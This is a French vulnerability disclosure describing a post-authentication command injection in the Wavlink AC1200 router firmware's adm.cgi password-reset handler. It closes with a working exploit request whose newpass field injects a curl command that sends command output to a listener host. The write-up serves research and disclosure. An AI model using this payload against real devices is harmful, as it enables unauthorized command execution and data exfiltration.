
Le Wavlink AC1200 avec les versions de firmware M32A3_V1410_230602 et M32A3_V1410_240222 est vulnérable à une injection de commande post-authentification lors de la réinitialisation du mot de passe. Cette vulnérabilité se trouve spécifiquement dans la fonction "set_sys_adm" du binaire "adm.cgi", et est due à une mauvaise assainissement du champ "newpass" fourni par l'utilisateur.
Lors de recherches récentes en sécurité sur le Wavlink AC1200 (Modèle : WL-WN532A3), une vulnérabilité d'injection de commandes après authentification a été identifiée dans le point de terminaison "/cgi-bin/adm.cgi". Cette vulnérabilité pourrait permettre à des acteurs malveillants ayant compromis les identifiants du routeur d'exécuter des commandes shell arbitraires. Un numéro CVE est actuellement en attente d'attribution pour cette vulnérabilité.
Lors de la réception du routeur Wavlink AC1200, le firmware chargé a été identifié comme étant 'M32A3_V1410_230602'. Cependant, cette version spécifique du firmware n'était pas disponible via le site officiel de support Wavlink. Wavlink n'a fourni qu'une seule version du firmware, M32A3_V1410_240222, qui est environ huit mois plus récente. Pendant l'analyse, il a été décidé d'étudier le firmware plus récent disponible, tout en tentant d'exploiter d'éventuelles vulnérabilités sur l'ancienne version afin de confirmer si les vulnérabilités identifiées affectaient les deux versions du firmware. Cela a également évité la nécessité d'extraire manuellement le firmware de l'appareil. L'extraction du système de fichiers racine a été simplement réalisée en utilisant la fonctionnalité d'extraction de 'binwalk'. Le firmware M32A3_V1410_240222 est disponible en téléchargement depuis le lien suivant : https://docs.wavlink.xyz/Firmware/fm-532a3/

Les premières recherches se sont concentrées sur l'identification de la surface d'attaque pour les injections de commandes. Bien que de nombreux appels à system, popen et diverses fonctions auxiliaires importées pour exécuter des commandes système aient été effectués, beaucoup étaient simplement des appels à des scripts bash préfabriqués pour lesquels l'injection n'était pas possible. Cependant, un appel à system dans la fonction set_sys_adm au sein de /etc_ro/lighttpd/www/cgi-bin/adm.cgi a immédiatement éveillé les soupçons à première vue en raison du passage d'un tableau de caractères formaté à l'aide de sprintf. Lors d'un examen plus approfondi, il a été déterminé que la fonction tentait de nettoyer l'entrée d'un mot de passe fourni par l'utilisateur en recherchant le caractère ;. Cependant, ce nettoyage ne prend pas en compte d'autres techniques d'injection de commandes.
L'image ci-dessous montre le désassemblage de set_sys_adm. Certains noms de variables ont été modifiés pour faciliter l'analyse de cette fonction. Sur l'image, on peut voir que la fonction récupère le champ password d'une requête web à la ligne 40, puis s'assure qu'il n'est ni NULL, ne contient pas de point-virgule (;), ni n'est identique à la valeur du mot de passe précédemment stocké aux lignes 58-60. Cette valeur est ensuite passée à un appel sprintf qui construit une commande comme suit : echo "<username.:<password>" > /etc/lighttpd.user. Cette chaîne formatée est alors immédiatement passée à un appel à system.

C'était une excellente découverte, mais il était temps de déterminer où cette vulnérabilité pouvait être accessible depuis le portail web. Il a rapidement été identifié que cette fonction était appelée lors de la réinitialisation du mot de passe depuis la page "Mot de passe de connexion".

Après avoir identifié cette page web, la requête HTTP POST a été capturée avec Burp Suite. La requête se présente comme suit :
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Length: 82
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.1/set_safety.shtml?r=12980
Accept-Encoding: gzip, deflate, br
Cookie: session=420022404
Connection: keep-alive
page=sysAdm&username=admin&SYSPASS=asdfasdf&newpass=hellohello&NEWPASS2=hellohello
Ayant maintenant compris la vulnérabilité d'injection de commandes en question et identifié d'où elle est accessible, il était temps de tenter une exploitation. La requête suivante a été envoyée pour forcer le routeur à effectuer une requête curl vers un écouteur netcat, tout en exfiltrant des données via le champ User Agent. La commande avant l'encodage URL et son placement dans la requête ressemble à ceci : curl http://192.168.1.6:4567/ -A $(pwd). La commande placée dans une requête HTTP POST se présente comme suit :
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Length: 82
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.1/set_safety.shtml?r=76755
Accept-Encoding: gzip, deflate, br
Cookie: session=1783394974
Connection: keep-alive
page=sysAdm&username=admin&SYSPASS=asdfasdf&newpass=hellohello\"+%26%26+curl+http%3a//192.168.1.6%3a4567+-A+$(pwd)&NEWPASS2=hellohello
Après l'envoi de la requête, nous obtenons la confirmation que la vulnérabilité est exploitable.
